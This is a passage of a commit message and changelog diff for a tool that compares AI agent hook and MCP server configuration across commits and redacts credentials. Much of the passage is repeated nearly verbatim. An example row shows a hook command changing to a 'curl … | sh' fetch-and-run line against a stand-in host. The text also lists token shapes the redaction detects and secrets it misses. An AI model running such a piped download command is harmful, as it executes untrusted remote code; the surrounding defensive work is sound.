5 → 50`), an added or removed handler is listed as such, and a reorder says so. An added or removed hook names its handlers, `SessionEnd (command bin/cleanup.sh)`, and an added MCP server its arguments. When none of the published fields differ, the entry says the change is in a detail it does not show — a redacted or shortened word, or a setting such as `async` or `cwd` — instead of repeating the same values. The row's direction, severity, `why` and loading basis are unchanged: plugin-selected (#714) and Codex hooks read as before, and no entry claims a direction (#820), runtime loading or what a command does. - **Host-grants `0.7`:** a hook grant adds `handlers[]` — each handler's group `matcher`, its `type`, a `command` summary `{env_keys, argv0, args, omitted_args}` and its `timeout` — and `omitted_handlers`; an MCP server grant adds `args` and `omitted_args`. A declaration outside the documented shape (a list of matcher groups whose `hooks` are objects with a string `command`) publishes `handlers: null`, and its row says the matcher, command and timeout are not shown. Runtime contract v41. - - **Redaction and bounds:** every published word passes through the #802 label redaction (known token shapes, header, `Bearer` and credential assignments, URLs reduced to scheme and host, `scheme://` userinfo); a value after a credential-named flag (`--token X`, `--api-key=X`, `--access-token X`), the value of an `env`-style `NAME=value` word, and a long generated-looking word are ``; a leading shell assignment is named in `env_keys` and its value dropped; a path under the reading user's home is written from `~`.

An added or removed hook names its handlers, `SessionEnd (command bin/cleanup.sh)`.

A `permission_mode` or `sandbox` row names the setting and its value as the file spells it (`enableAllProjectMcpServers: true`, `defaultMode: dontAsk`), recovered from the grant's published value and digest, and a Claude Code setting's `why` is the basis the engine's one setting table (`core/host_settings.py`) records for the value; that table also rates the grant and `check`'s violation, so a row's severity and the violation's risk give one answer (#827, `tests/test_prompt_disabling_settings.py`). `verify`/PR and `check` reuse the host comparator (#684, `tests/test_manifest_free_pr_rows.py`), and the source name each named reusable-workflow secret refers to, also non-widening, with a redacting name or target refused rather than compared, and an unreadable value neither compared nor named on this surface — only the host inventory and `audit --host` name its `job/destination`, as on `1.0.0` (#693, `tests/test_reusable_workflow_secret_mappings.py`); check retains argument redaction and its existing local-policy control. Missing comparison evidence never supplies empty comparable rows. Host route only; workflow rows compare effective writes and reusable secret recipients (#685, `tests/test_workflow_capability_diff.py`) and each job's remote step action references, as a non-widening change (#771, `tests/test_workflow_step_action_references.py`); every job id, step label, trigger and scope name those rows print is the label the engine published once where it built the grant, redacted, never re-derived here; `check`'s workflow evidence is derived from the raw declarations, which it still compares, and redacts job and scope names by the same rule; two distinct job ids or triggers in one workflow, or scope names in one `permissions` mapping, that publish alike are refused rather than compared, so while such a workflow exists `check` refuses on every run even when it is unchanged (#802, `tests/test_workflow_label_redaction.py`); artifact-only edits remain separate evidence. Tool-source subjects are #655. Where a partial or experimental surface is byte-identical on both sides, `diff` and `verify` compare the rest and name it in `unchanged_limits`; `check` keeps refusing, because its boundary result cannot carry a limit yet (#721). A hook row's `why` states the grant's loading basis, read from its published `source`, `access` and `risk` by the engine's `hook_loading_basis`; only a hook the host loads for this project earns an expansion signal — one a settings layer declares, or one a plugin selects that the repository's project settings enable from an in-repository marketplace — so a declared-only hook, or one a plugin selects without that enablement, is a row and never an expansion, and a removal names no basis (#714). `check` compares without a plugin-reference limit both sides share on an untouched source, which it cannot name and, untouched, does not route; a limit only one side carries makes its comparison incomparable. Those rows are not what routes a change: `check`, and the boundary check a manifest-backed `verify` runs, route a changed hook declaration of a plugin the project settings enable through the existing protected-surface rule, from the plugin hook reader's selection on both compared sides, and count a changed hook file such a plugin selects that the reader does not open as incomplete input; the rows beside either are unchanged (#809, `tests/test_enabled_plugin_hook_routing.py`). A partial clone that never fetched the base's objects is refused as `objects_missing`, exit `2`, never compared and never fetched; the refusal ends with the remediation sentence `verify` reports for the same reason, produced by the same function (#817, `tests/test_capability_diff_partial_clone.py`). The text of `diff`, `verify`, the PR comment and `check` reads the rows through one function, `review_changes`, and adds no row and changes no row value in any JSON projection (#795, `tests/test_host_diff_review_changes.py`): a permission rule is named with its disposition; an MCP server with the command name (never its path) or redacted URL, its launch arguments (#819) and the env and header key names its grant already publishes, redacted and bounded, a URL printing only in the engine's sanitized scheme-and-host form and otherwise as `url not shown`, or, when none of those differ, a sentence naming what was compared and that the change is in a detail not shown, such as the command's path or a redacted or shortened argument; a hook with each handler field that changed — its group's matcher, its type, its command summary, its timeout — before and after, a handler only one side declares, or a reorder, all read from the handlers its host-grants `0.7` grant publishes, redacted and bounded by the engine where it built the grant and never re-derived here, and a declaration outside the documented hooks shape named as not shown rather than guessed (#819, `tests/test_hook_mcp_detail_fields.py`); those hook and MCP members display what `config_sha256` already binds, so grant equality and every inventory digest leave them out and no row, row value, reason, digest or control answer moves; an allow rule the permission lattice decided another replaced (`widened` or `narrowed`), or the exact rule text that moved between dispositions in one host and source (`moved`), is one entry, never on the routes that redact rule arguments; and `diff` counts entries `from N rows` when one joins rows. Comparable results with entries end with one review question, naming the row count when an entry joins rows, and every result whose comparison names a base commit and a commit or working-tree head — a zero-row result and a refusal included (#812 follow-up, `tests/test_host_comparison_coverage.py`) — ends with the compared commits, the tool version and an `agents-shipgate diff --base ` reproduction, labelled `Inputs:` rather than `Compared:` where the comparison was refused, since that run compared nothing — and a refused comparison publishes no `review` object at all, so those two lines are the only place that run states its provenance, built from the `base_commit` it publishes beside the refusal; `check` and a provided diff print the question alone, and no result without a change asks a question. Every one of those facts is published beside the rows, so a machine consumer reads what a human reads (#795 slice 2, same test file): a row adds `disposition`, the `allow`/`ask`/`deny` list a permission rule is declared under and `null` for any other kind, on every route that publishes rows; and `review` in `diff --json` (capability diff `0.3`) and `host_comparison.review` in `verifier.json` (verifier `0.20`) — one object for one comparison — carry the presented changes, each naming the `row_indexes` it stands for, the `direction` the text uses (`widened`, `narrowed` and `moved` included, which no single row can carry), its cells, its `why` and one `expands`, plus a `summary` of `{rows, changes, widenings}` equal to `diff`'s summary line, the review question and the reproduction command. The block is refused unless its changes stand for every published row exactly once, its counters match and no joined change's two sides read alike, so the routes that redact rule arguments publish their rows alone and never a pair that reads `X → X`; `check`'s boundary result carries rows, with their dispositions, and no block. It is presentation, not a second opinion: it is the one `review_changes` projection the text prints, so the rows, their values, their count and every control answer are what they were. A comparison read back from JSON prints the changes it published, and one whose rows a caller sliced falls back to those rows. Each comparison also says what it established (#812, `tests/test_host_comparison_coverage.py`): `coverage` in `diff --json` (capability diff `0.3`) and `host_comparison.coverage` in `verifier.json` (verifier `0.20`) are the same object, printed as `What this run established` by `diff`, `verify` text and the PR comment. It is read off the grant changes, artifact changes, observed sources and blocking issues the comparator already computed: a file's rows, counting a source inside it (`#profiles.`, `#plugins.`); a file with no row and no artifact change called unchanged (`compared`, `0` rows) only when Git proves its blob identical, as the check `unchanged_limits` uses does, asked privately in one bounded batch and never published, because the artifact digest redacts `env` values and `apiKeyHelper`; a file that changed with no compared grant moving (`changed_without_grant_change`), whose artifact differs only in its digest or whose content Git shows differs while its artifact did not (never a difference a checkout line-ending conversion or a converting attribute explains, and no filter is run), never a plugin manifest or marketplace, a retargeted link or project settings while a hook's loading basis moved, worded as no compared grant changing and never as which fields changed; any other changed file with no row (`changed_without_rows`); a file Git neither proves identical nor shows differs — a provided diff, a link read, a redacted path, a working-tree file a checkout wrote with `CRLF` that Git reports unchanged — as `unchanged_not_proven`, never no change and never a change (#812 review cycle 3); the side that published a source, worded `published by` rather than `read in` for a plugin manifest or marketplace, which is published only while it declares hooks; and on a refused comparison each blocking source and its kind. Outside the bounded candidate rules below, a file no inventory observed is never an item and its absence is no claim, which the block states where it is read — one line under the heading and `read_sources_only` in the JSON — so a true list cannot be taken for the account of the change (#812 follow-up); a source already in `unchanged_limits` is not repeated; the list is capped at ten with `omitted_items`, ordered so what no row shows precedes a file's rows and, among blocking limits, by kind (`unreadable`, `parse_failed`, `unresolved_precedence`, then `unsupported`, `dynamic_source_excluded`, `remote_source_excluded`) — order, not severity, and a ranking of kinds rather than of items, since `unsupported` carries both a file this entry merely does not accept and one whose own text would not parse, so an item behind the count may still be one to repair; total down to every field an item is keyed by, the source name and then its side, limit and status — and counted in text as items not listed, ranked below those listed, and the PR comment lists only what fits in the room its entries, review question, reproduction, advisory, next action and evidence leave, at most 2000 characters, so the block never pushes out a line the comment prints without it (a row list that fills the comment by itself still truncates it, as on `1.0.0`); an instruction file's line carries no redacted-values note; sources are the inventory's redacted paths; `null` means not recorded, which is how a `0.19` verifier reads. It moves no row, reason, digest, baseline, control state or next action, and `check`'s boundary result and text carry none, so neither `check` nor a provided diff asks Git anything for it. The same list names the changed inputs this entry does not read (#821, `tests/test_unread_changed_inputs.py`): capability diff `0.4` and verifier `0.21` add a `changed_not_read` item, with the `candidate` rule that named it, for each path in the comparison's own changed-file set — the committed change, or the working tree's tracked and untracked changes — that a bounded, documented rule set recognises as plausibly agent configuration (`mcp.json` in a plugin directory, a plugin manifest's `mcpServers`, a Codex, Cursor or Copilot manifest's `hooks` and the hook files it names, a manifest or marketplace that does not parse, `.cursor/hooks.json`, host settings below the repository root, a marketplace entry's external `source`) and that no inventory published; a member is named whatever read its file, because no reader reads it. It is named from the path and, for a manifest or marketplace member, its text: nothing is fetched, run or read as a grant, so it is never a row, a widening, a `check` violation or a loading claim, and an external source is described redacted and never fetched. It ranks right after the blocking limits, inside the same cap; `read_sources_only` is `false` while one is named, and the first line says so instead; `unread_candidates` and `unread_candidates_not_examined` say whether the change set was examined and how many candidates were not — past the bound of 32, or because a file the rule needed was not read or did not parse, one count the text names both causes of. A manifest-free `verify` whose only host-relevant change is such an input, or a changed candidate it counts as not examined, publishes the comparison instead of the setup route, and `verify --preview` then names `audit --host` instead of `init --write`, in an agent-related workspace too; a `0.20` verifier reads with the search not recorded. A comparison refused only by plugin-reference limits, each bounded by its plugin directory, that no compared source depends on, is `partial` instead (#808, `tests/test_partial_host_comparison.py`); any other blocking limit it carries must be one both sides share on an unchanged source, named in `unchanged_limits` as on a comparable result. Capability diff `0.4` and verifier `0.21` publish `comparison_status: partial` with the refusal's `incomparable_reasons`, the rows, review and unchanged limits established outside those directories, and each directory (the outermost, where one holds another) as the reserved `coverage.items[].scope` on the `blocking_limit` items it bounds, and never call a changed project settings file without a row `changed_without_grant_change`, since the hooks whose loading basis it decides are not all compared; `diff`, `verify` text and the PR comment lead with `Partial comparison against …` or `Host capability comparison partial: …` and `Not compared: , …` before any entry, and a partial result with no entry is never printed as no change.

Every field is read from the drift payload the engine already produces — `risk` is the engine's severity and `expansion_signals` is the engine's word on widening — so there is no second implementation to drift. A `permission_mode` or `sandbox` row names the setting and its value as the file spells it (`enableAllProjectMcpServers: true`, `defaultMode: dontAsk`), recovered from the grant's published value and digest, and a Claude Code setting's `why` is the basis the engine's one setting table (`core/host_settings.py`) records for the value; that table also rates the grant and `check`'s violation, so a row's severity and the violation's risk give one answer (#827, `tests/test_prompt_disabling_settings.py`). `verify`/PR and `check` reuse the host comparator (#684, `tests/test_manifest_free_pr_rows.py`), and the source name each named reusable-workflow secret refers to, also non-widening, with a redacting name or target refused rather than compared, and an unreadable value neither compared nor named on this surface — only the host inventory and `audit --host` name its `job/destination`, as on `1.0.0` (#693, `tests/test_reusable_workflow_secret_mappings.py`); check retains permission-rule argument redaction and its existing local-policy control. Missing comparison evidence never supplies empty comparable rows. Host route only; workflow rows compare effective writes and reusable secret recipients (#685, `tests/test_workflow_capability_diff.py`) and each job's remote step action references, as a non-widening change (#771, `tests/test_workflow_step_action_references.py`); every job id, step label, trigger and scope name those rows print is the label the engine published once where it built the grant, redacted, never re-derived here; `check`'s workflow evidence is derived from the raw declarations, which it still compares, and redacts job and scope names by the same rule; two distinct job ids or triggers in one workflow, or scope names in one `permissions` mapping, that publish alike are refused rather than compared, so while such a workflow exists `check` refuses on every run even when it is unchanged (#802, `tests/test_workflow_label_redaction.py`); artifact-only edits remain separate evidence. Tool-source subjects are #655. Where a partial or experimental surface is byte-identical on both sides, `diff` and `verify` compare the rest and name it in `unchanged_limits`; `check` keeps refusing, because its boundary result cannot carry a limit yet (#721). A hook row's `why` states the grant's loading basis, read from its published `source`, `access` and `risk` by the engine's `hook_loading_basis`; only a hook the host loads for this project earns an expansion signal — one a settings layer declares, or one a plugin selects that the repository's project settings enable from an in-repository marketplace — so a declared-only hook, or one a plugin selects without that enablement, is a row and never an expansion, and a removal names no basis (#714). `check` compares without a plugin-reference limit both sides share on an untouched source, which it cannot name and, untouched, does not route; a limit only one side carries makes its comparison incomparable. Those rows are not what routes a change: `check`, and the boundary check a manifest-backed `verify` runs, route a changed hook declaration of a plugin the project settings enable through the existing protected-surface rule, from the plugin hook reader's selection on both compared sides, and count a changed hook file such a plugin selects that the reader does not open as incomplete input; the rows beside either are unchanged (#809, `tests/test_enabled_plugin_hook_routing.py`). A partial clone that never fetched the base's objects is refused as `objects_missing`, exit `2`, never compared and never fetched; the refusal ends with the remediation sentence `verify` reports for the same reason, produced by the same function (#817, `tests/test_capability_diff_partial_clone.py`). The text of `diff`, `verify`, the PR comment and `check` reads the rows through one function, `review_changes`, and adds no row and changes no row value in any JSON projection (#795, `tests/test_host_diff_review_changes.py`): a permission rule is named with its disposition; an MCP server with the command name (never its path) or redacted URL, its launch arguments (#819) and the env and header key names its grant already publishes, redacted and bounded, a URL printing only in the engine's sanitized scheme-and-host form and otherwise as `url not shown`, or, when none of those differ, a sentence naming what was compared and that the change is in a detail not shown, such as the command's path or a redacted or shortened argument; a hook with each handler field that changed — its group's matcher, its type, its command summary, its timeout — before and after, a handler only one side declares, or a reorder, all read from the handlers its host-grants `0.7` grant publishes, redacted and bounded by the engine where it built the grant and never re-derived here, and a declaration outside the documented hooks shape named as not shown rather than guessed (#819, `tests/test_hook_mcp_detail_fields.py`); those hook and MCP members display what `config_sha256` already binds, so grant equality and every inventory digest leave them out, a saved baseline holds none of them, and no row, row value, reason, digest or control answer moves; an allow rule the permission lattice decided another replaced (`widened` or `narrowed`), or the exact rule text that moved between dispositions in one host and source (`moved`), is one entry, never on the routes that redact rule arguments; and `diff` counts entries `from N rows` when one joins rows. Comparable results with entries end with one review question, naming the row count when an entry joins rows, and every result whose comparison names a base commit and a commit or working-tree head — a zero-row result and a refusal included (#812 follow-up, `tests/test_host_comparison_coverage.py`) — ends with the compared commits, the tool version and an `agents-shipgate diff --base ` reproduction, labelled `Inputs:` rather than `Compared:` where the comparison was refused, since that run compared nothing — and a refused comparison publishes no `review` object at all, so those two lines are the only place that run states its provenance, built from the `base_commit` it publishes beside the refusal; `check` and a provided diff print the question alone, and no result without a change asks a question. Every one of those facts is published beside the rows, so a machine consumer reads what a human reads (#795 slice 2, same test file): a row adds `disposition`, the `allow`/`ask`/`deny` list a permission rule is declared under and `null` for any other kind, on every route that publishes rows; and `review` in `diff --json` (capability diff `0.3`) and `host_comparison.review` in `verifier.json` (verifier `0.20`) — one object for one comparison — carry the presented changes, each naming the `row_indexes` it stands for, the `direction` the text uses (`widened`, `narrowed` and `moved` included, which no single row can carry), its cells, its `why` and one `expands`, plus a `summary` of `{rows, changes, widenings}` equal to `diff`'s summary line, the review question and the reproduction command. The block is refused unless its changes stand for every published row exactly once, its counters match and no joined change's two sides read alike, so the routes that redact rule arguments publish their rows alone and never a pair that reads `X → X`; `check`'s boundary result carries rows, with their dispositions, and no block. It is presentation, not a second opinion: it is the one `review_changes` projection the text prints, so the rows, their values, their count and every control answer are what they were. A comparison read back from JSON prints the changes it published, and one whose rows a caller sliced falls back to those rows. Each comparison also says what it established (#812, `tests/test_host_comparison_coverage.py`): `coverage` in `diff --json` (capability diff `0.3`) and `host_comparison.coverage` in `verifier.json` (verifier `0.20`) are the same object, printed as `What this run established` by `diff`, `verify` text and the PR comment. It is read off the grant changes, artifact changes, observed sources and blocking issues the comparator already computed: a file's rows, counting a source inside it (`#profiles.`, `#plugins.`); a file with no row and no artifact change called unchanged (`compared`, `0` rows) only when Git proves its blob identical, as the check `unchanged_limits` uses does, asked privately in one bounded batch and never published, because the artifact digest redacts `env` values and `apiKeyHelper`; a file that changed with no compared grant moving (`changed_without_grant_change`), whose artifact differs only in its digest or whose content Git shows differs while its artifact did not (never a difference a checkout line-ending conversion or a converting attribute explains, and no filter is run), never a plugin manifest or marketplace, a retargeted link or project settings while a hook's loading basis moved, worded as no compared grant changing and never as which fields changed; any other changed file with no row (`changed_without_rows`); a file Git neither proves identical nor shows differs — a provided diff, a link read, a redacted path, a working-tree file a checkout wrote with `CRLF` that Git reports unchanged — as `unchanged_not_proven`, never no change and never a change (#812 review cycle 3); the side that published a source, worded `published by` rather than `read in` for a plugin manifest or marketplace, which is published only while it declares hooks; and on a refused comparison each blocking source and its kind. Outside the bounded candidate rules below, a file no inventory observed is never an item and its absence is no claim, which the block states where it is read — one line under the heading and `read_sources_only` in the JSON — so a true list cannot be taken for the account of the change (#812 follow-up); a source already in `unchanged_limits` is not repeated; the list is capped at ten with `omitted_items`, ordered so what no row shows precedes a file's rows and, among blocking limits, by kind (`unreadable`, `parse_failed`, `unresolved_precedence`, then `unsupported`, `dynamic_source_excluded`, `remote_source_excluded`) — order, not severity, and a ranking of kinds rather than of items, since `unsupported` carries both a file this entry merely does not accept and one whose own text would not parse, so an item behind the count may still be one to repair; total down to every field an item is keyed by, the source name and then its side, limit and status — and counted in text as items not listed, ranked below those listed, and the PR comment lists only what fits in the room its entries, review question, reproduction, advisory, next action and evidence leave, at most 2000 characters, so the block never pushes out a line the comment prints without it (a row list that fills the comment by itself still truncates it, as on `1.0.0`); an instruction file's line carries no redacted-values note; sources are the inventory's redacted paths; `null` means not recorded, which is how a `0.19` verifier reads. It moves no row, reason, digest, baseline, control state or next action, and `check`'s boundary result and text carry none, so neither `check` nor a provided diff asks Git anything for it. The same list names the changed inputs this entry does not read (#821, `tests/test_unread_changed_inputs.py`): capability diff `0.4` and verifier `0.21` add a `changed_not_read` item, with the `candidate` rule that named it, for each path in the comparison's own changed-file set — the committed change, or the working tree's tracked and untracked changes — that a bounded, documented rule set recognises as plausibly agent configuration (`mcp.json` in a plugin directory, a plugin manifest's `mcpServers`, a Codex, Cursor or Copilot manifest's `hooks` and the hook files it names, a manifest or marketplace that does not parse, `.cursor/hooks.json`, host settings below the repository root, a marketplace entry's external `source`) and that no inventory published; a member is named whatever read its file, because no reader reads it. It is named from the path and, for a manifest or marketplace member, its text: nothing is fetched, run or read as a grant, so it is never a row, a widening, a `check` violation or a loading claim, and an external source is described redacted and never fetched. It ranks right after the blocking limits, inside the same cap; `read_sources_only` is `false` while one is named, and the first line says so instead; `unread_candidates` and `unread_candidates_not_examined` say whether the change set was examined and how many candidates were not — past the bound of 32, or because a file the rule needed was not read or did not parse, one count the text names both causes of. A manifest-free `verify` whose only host-relevant change is such an input, or a changed candidate it counts as not examined, publishes the comparison instead of the setup route, and `verify --preview` then names `audit --host` instead of `init --write`, in an agent-related workspace too; a `0.20` verifier reads with the search not recorded. A comparison refused only by plugin-reference limits, each bounded by its plugin directory, that no compared source depends on, is `partial` instead (#808, `tests/test_partial_host_comparison.py`); any other blocking limit it carries must be one both sides share on an unchanged source, named in `unchanged_limits` as on a comparable result. Capability diff `0.4` and verifier `0.21` publish `comparison_status: partial` with the refusal's `incomparable_reasons`, the rows, review and unchanged limits established outside those directories, and each directory (the outermost, where one holds another) as the reserved `coverage.items[].scope` on the `blocking_limit` items it bounds, and never call a changed project settings file without a row `changed_without_grant_change`, since the hooks whose loading basis it decides are not all compared; `diff`, `verify` text and the PR comment lead with `Partial comparison against …` or `Host capability comparison partial: …` and `Not compared: , …` before any entry, and a partial result with no entry is never printed as no change. Independence is read off the reader's reference graph, never off directory names: any other limit that is not unchanged, a reference leaving its plugin, a plugin at the root or holding project settings, a marketplace elsewhere declaring inline hooks for it, or a directory that does not publish as itself refuses as before. It answers no engine question and moves no control: a partial comparison is not comparable, `verify`'s control and route are the refusal's, the control envelope projects it as `incomparable` with no rows, and `check`, whose boundary result cannot name a directory, refuses its comparison and decides exactly as before.

The generated-key test ran only on a word made entirely of the base64 alphabet, so one separator defeated it: a SendGrid `SG..` key, a Telegram `:` token, an Airtable `pat.` token, a Discord bot token, a Mapbox `sk..` token and an Azure `AccountName=…;AccountKey=` connection string reached `diff`, `verify`, the PR comment, `verifier.json` and `check`. `_without_generated_runs` now tests each run of the base64 alphabet inside a word, split at every other character and at an `=` that separates a name from its value, and replaces each run that reads as a key. Once one run of a word is a key, every other run in it with a key's shape (20 or more characters of two classes) is replaced too, because a token's other parts are no less random and are often too short for the entropy test alone (a Mapbox signature). A run followed by `=` is an assignment's name and is kept, so the Azure string publishes `AccountName=acct;AccountKey=`, and the hex of a `sha256:`, `sha384:` or `sha512:` digest is kept as the pin it is. The whole-word test still runs first, so no word it redacted before is published now. A credential flag right after another credential-named flag published its value while the digest's input redacted it. In `--no-password --token abc`, the boolean `--no-password` took `--token` as its value, the next-word rule stopped there, and `abc` was published; the digest's list rule reads `--token` as naming `abc` and redacts it, so rotating `abc` changed the published arguments with no row. Which word is replaced now depends only on the word before it (`_credential_values`), so both words are ``. The same case in a hook command was also published, because the digest's string rule had already written `--token` as `` before the words were split. A word that follows a credential name in the command as written is now `` wherever the redacted words still hold it. An edit past the 12-argument bound read "no difference in … arguments". When either side declares more arguments than the grant publishes, the MCP sentence now says `the first 12 arguments` and names `an argument past the first 12` among what it does not show. A hook with more than 16 handlers says `of the first 16 handlers` and names `a handler past the first 16`, and one whose command has more than eight arguments names `a command argument past the first 8`. From the non-blocking notes: the digest's own string rule now runs on the text as written before any other pattern, so a known token shape that runs into the flag after it (`sk-…--password X`) no longer hides the value that rule redacts. `--secret-key X`, `--aws-access-key X` and `--pass X` are redacted as credential flags. STABILITY and the CHANGELOG now name the shapes that still publish (`-p hunter2`, `-phunter2`, `--key hunter2`, an e-mail address) and the over-redaction of an image whose name ends in a credential word (`ghcr.io/org/auth:`). `-u` after a replaced word keeps its user-and-password rule, and a redaction marker after `-u` is no longer split at its `:`. Tests: the canary sweep adds all six joined token shapes, the chained flag, the access-key, secret-key and pass flags, and a glued `sk-…--password` value, across a new hook and a new MCP server, and checks every route and artifact as before. The word table pins each joined shape and the benign controls: a digest pin, an image tag, `@scope/pkg@1.0.14`, `pkg==1.10.1`, a dotted `$CLAUDE_PROJECT_DIR` path and a connection string without a key. The digest-superset invariant adds the reviewer's three chained cases and is checked over every list of up to four words from a vocabulary of flag shapes. A value-level test covers glued words in both an argument list and a hook command. Rotating the value after `--no-password --token` stays quiet and redacted. A 14-argument docker config whose tag is the last argument, a seventeenth handler and a command's tenth argument each name the bound. Against the previous head's engine, 26 of the new or changed test cases fail and the benign controls pass; all pass here. Re-running the 80 vendored benchmark cases through `diff` against the previous head gives identical rows, review entries, text and published hook and MCP detail (437 words) on all 80, so no real-world argument is redacted that was not before. The replay tests reproduce the run-of-record scores unchanged. --- CHANGELOG.md | 2 +- STABILITY.md | 6 +- docs/distribution-surfaces.md | 2 +- docs/host-boundary-support.md | 11 +- .../core/capability_diff_rows.py | 50 +++- src/agents_shipgate/core/host_grants.py | 206 +++++++++++---- tests/test_hook_mcp_detail_fields.py | 242 +++++++++++++++++- 7 files changed, 448 insertions(+), 71 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 9cad9abee..fcdafc266 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,7 +14,7 @@ - A hook row now names what changed in the hook, and an MCP row names the server's launch arguments.

Re-running `diff --json` on the 80 vendored benchmark cases with the prepared `1.1.0` commit and this tree gave byte-identical rows on all 80; 42 entries on 35 cases gained detail, and each of the 7 changed hook or MCP entries (six repositories; one is vendored in both benchmarks) that read `PreToolUse → PreToolUse` or `no difference in the command name …` now names its field, such as `mcp-outline: args mcp-outline==1.10.0 → mcp-outline==1.10.1` or `PreToolUse: handler 2 timeout 30 → 120`. - **Compatibility:** a `0.6` baseline stays comparable with no new row or reason, and `audit --host --save-baseline` may now replace it; an older one is still refused, as before.

Then a credential written `Name: value` loses its whole value, the scheme included, up to the closing quote: `Authorization: Basic …`, `Authorization: Bearer …` and `Authorization: Bot …` all publish `Authorization: `, for `Authorization`, `Proxy-Authorization`, `Cookie`, `Set-Cookie` and any header or key whose name is, or ends in, a credential word (`X-Auth-Token`, `api-key`, `X-API-Key`, a JSON `"token":`). `` replaces the value after a credential-named flag (`--token X`, `--api-key=X`, `--access-token X`, `--auth X`, `--brave_api_key X`, `--secret-key X`, `--aws-access-key X`, `--pass X`: a flag whose name, read without its `-` and `_`, is `auth` or `pass`, or is, or ends in, a credential word such as `token`, `secret`, `password`, `apikey`, `accesskey` or `secretkey`), the value after any argument the digest's own list rule reads as naming the next one's credential, with or without dashes (`token X`, `password X`), the password of a `-u`/`--user` `user:password` value (`-u deploy:`), the value of an `env`-style `NAME=value` word with an upper-case name, and any part of a word that reads like a generated key (32 or more hex digits, or 20 or more base64 characters of two classes with high entropy or many letter-digit switches). Which word is replaced after a credential name depends only on the word before it, never on whether that word was itself replaced: in `--no-password --token X` a boolean flag takes `--token` as its value, and both `--token` and `X` are ``; in a hook command, a word that follows a credential name as written is `` even when the string rule already took that name as another flag's value. A word is tested for a generated key run by run, a run being the base64 alphabet between any other characters, so a key joined to other text by `.`, `:`, `;`, `,`, `@` or `=` is found, as in a SendGrid, Telegram, Airtable, Discord or Mapbox token or an Azure connection string: `SG..`, `123456789:`, `AccountName=acct;AccountKey=`. Once one run of a word is a key, every other run in it of 20 or more base64 characters of two classes is replaced too, since a token's other parts are no less random; a run followed by `=` is an assignment's name and is kept, and the hex of a `sha256:`, `sha384:` or `sha512:` digest is kept as the pin it is. A published argument therefore redacts at least what `config_sha256`'s input redacts. A hook command's leading assignments keep only their names, in `env_keys`, whatever their case. A path under the reading user's home is written from `~`. A short or word-like secret passed positionally or after a flag no rule names, such as `-p hunter2`, `-phunter2` or `--key hunter2`, matches none of these rules and is published as written in the inventory and in a comparison's review entries, as is an e-mail address, which is not a credential; neither reaches a saved baseline (see **Saved baselines**). Redaction errs toward hiding: a pin whose image name ends in a credential word, such as `ghcr.io/org/auth:1.2.3`, reads `ghcr.io/org/auth:`, and a tag change there reads as a change in a redacted argument. +- **Bounds.** A word longer than 80 characters, or a matcher longer than 120, is cut and ends in `…`. `omitted_args` and `omitted_handlers` count the words, arguments and handlers past their bound; at most sixteen handlers per event are listed. When an edit is confined to what is past a bound, the row says only the first ones were compared and names what is past them, below. - **Shape.** Only the documented hooks shape is read: a list of matcher groups, each an object with a `hooks` list of objects whose `command`, when present, is a string. Anything else publishes `handlers: null`, and its row reads `PostToolUse: matcher, command and timeout not shown: the declaration is not a list of matcher groups whose hooks are objects`. A plugin-selected hook (#714) and a Codex `.codex/hooks.json` hook publish the handlers their file declares and keep their loading basis: `access`, `risk`, the row's `why` and the expansion signal are unchanged. - **Display only.** The new members are a redacted, bounded projection of the configuration `config_sha256` is computed from. Grant equality and every inventory digest (a baseline's `inventory_sha256`, the drift and comparison digests) leave them out, so a change is a row exactly when it was one before, and redacting a value never hides one: rotating a positional token is still a row, which says the change is in a redacted or shortened argument. - **Saved baselines.** `audit --host --save-baseline` writes each grant as comparisons read it, without `handlers`, `omitted_handlers`, `args` or `omitted_args`, in either scope. A baseline is committed ("Commit it"), and a command or argument read from `~/.claude/settings.json`, `~/.cursor/mcp.json` or managed settings under `--scope local-static`, or from a git-ignored `.claude/settings.local.json` in either scope, would otherwise carry values that were never in the repository into it, a short positional password among them, which no word rule recognises. A saved `0.7` baseline's grants are therefore exactly the grants a `0.6` baseline holds, and the `0.7` baseline schema, which forbids the members, differs from `0.6` only in its version. Nothing is lost: no comparison, row or digest reads them from a baseline, `inventory_sha256` is the same with or without them, and `audit --host --drift` against a saved baseline compares as it would have. In that drift payload a changed hook or MCP server's `baseline` side has no `handlers` or `args`; its `current` side has them. A comparison between two commits (`diff`, `check`, manifest-free `verify`) reads both sides fresh, saves nothing, and renders both sides' detail. -- **The rows.** A changed hook names each differing field with its before and after, `PostToolUse: matcher Edit → Edit|Write|Bash`, `PostToolUse: command bin/lint.sh → curl -s https://example.invalid/ | sh`, `PostToolUse: timeout 10 → 600`; with several handlers, which one (`PreToolUse: handler 2 timeout 5 → 50`); a handler only one side declares as `+handler (…)` or `-handler (…)`, since nothing establishes which handler another replaced; and a reorder as `the same handlers in a different order`. An added or removed hook names its handlers, `SessionEnd (command bin/cleanup.sh)`. A changed MCP server adds `args -y example-mcp-server@1.2.3 → -y example-mcp-server@latest` beside its other published facts, and an added one `docs (command name npx; args -y example-mcp-server@2.0.0)`. When no published field differs, a hook reads `no difference in the matcher, type, command summary or timeout; the change is in a detail this output does not show, such as a redacted or shortened word or another hook setting`, and a command server `no difference in the command name npx, arguments, env key names or header key names; the change is in a detail this output does not show, such as the command's path, a redacted or shortened argument, or another setting`. No entry names a direction (#820). The entry is printed by `diff`, `verify` text, the PR comment and `check` text, and published as `review.changes[].change` in `diff --json` and `verifier.json`. Every row value and the row count are unchanged; `check`'s boundary result and the control envelope's `capability_rows` carry rows alone, as before. +- **The rows.** A changed hook names each differing field with its before and after, `PostToolUse: matcher Edit → Edit|Write|Bash`, `PostToolUse: command bin/lint.sh → curl -s https://example.invalid/ | sh`, `PostToolUse: timeout 10 → 600`; with several handlers, which one (`PreToolUse: handler 2 timeout 5 → 50`); a handler only one side declares as `+handler (…)` or `-handler (…)`, since nothing establishes which handler another replaced; and a reorder as `the same handlers in a different order`.

When either side declares more than it publishes, the sentence names the bound: a command server with more than twelve arguments reads `no difference in the command name docker, the first 12 arguments, env key names or header key names; the change is in a detail this output does not show, such as an argument past the first 12, the command's path, a redacted or shortened argument, or another setting`, a hook with more than sixteen handlers reads `… or timeout of the first 16 handlers; … such as a handler past the first 16, …`, and one whose command has more than eight arguments names `a command argument past the first 8`.

